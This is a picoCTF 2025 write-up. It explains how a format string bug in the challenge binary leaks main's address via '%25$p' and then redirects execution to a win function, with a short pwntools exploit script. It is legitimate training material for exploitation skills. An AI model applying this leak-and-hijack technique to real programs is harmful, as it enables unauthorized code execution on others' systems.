Problem
Solution
For some reason, I (regretfully) didn’t solve this during the competition period for picoCTF 2025. I realized this while writing my solution for PIE TIME after the fact, and was able to solve this in only a few minutes. In any case, here’s how I did so.
This time, we’re not given the address of main
; however, similar to PIE TIME, win
is in the same address relative to main
, -0x96
.
To start, let’s take a look at call_functions
:
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
So our input is written to buffer
then printed in a bare printf
. If our input contains a format string, it will be evaluated by printf
. This is a format string vulnerability!
Suppose we input the pointer format string, %p
, what happens? Well, %p
will be stored in buffer
, then printf(buffer)
will be evaluated as printf("%p")
which prints the address of buffer
. And if we input %p %p
, printf("%p %p")
will print the address of buffer
, followed by the address of the next item on the stack. So if we keep adding %p
, we can keep printing items on the stack.
Let’s throw vuln
into GDB. When asked for my name, I’ll give a bunch of %p
’s (25 to be exact):
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
This segfaults, but it doesn’t really matter for now:
What we’re really after is the stack register, rsp
. Entering x/25gx $rsp
will display the first 25 items on the stack:
Notice that many of the entries are some variation of 25
and 70
? These are our %p
’s! In ASCII, %
has the hex value 25
, while p
has the hex value 70
.
What we’re really after, however, is main
. It has to be in here somewhere, so I incrementally checked each value using x/gx <address>
. Eventually, we find that the 25th item is main:
Therefore, the 25th item on the stack is main
→ by using the format string %25$p
, we can print the address of main
!
The rest is the same as the previous challenge:
Script
from pwn import *
hostname = ...
port = ...
p = process("./vuln")
# p = remote(hostname, port)
p.recvuntil(b"name:")
p.sendline(b"%25$p")
main_addr = int(p.recvline().strip(), 16)
win_addr = main_addr - 0x96
p.sendline(hex(win_addr))
p.recvuntil(b"You won!\n")
flag = p.recvline()
print(flag.strip().decode("utf-8"))
p.close()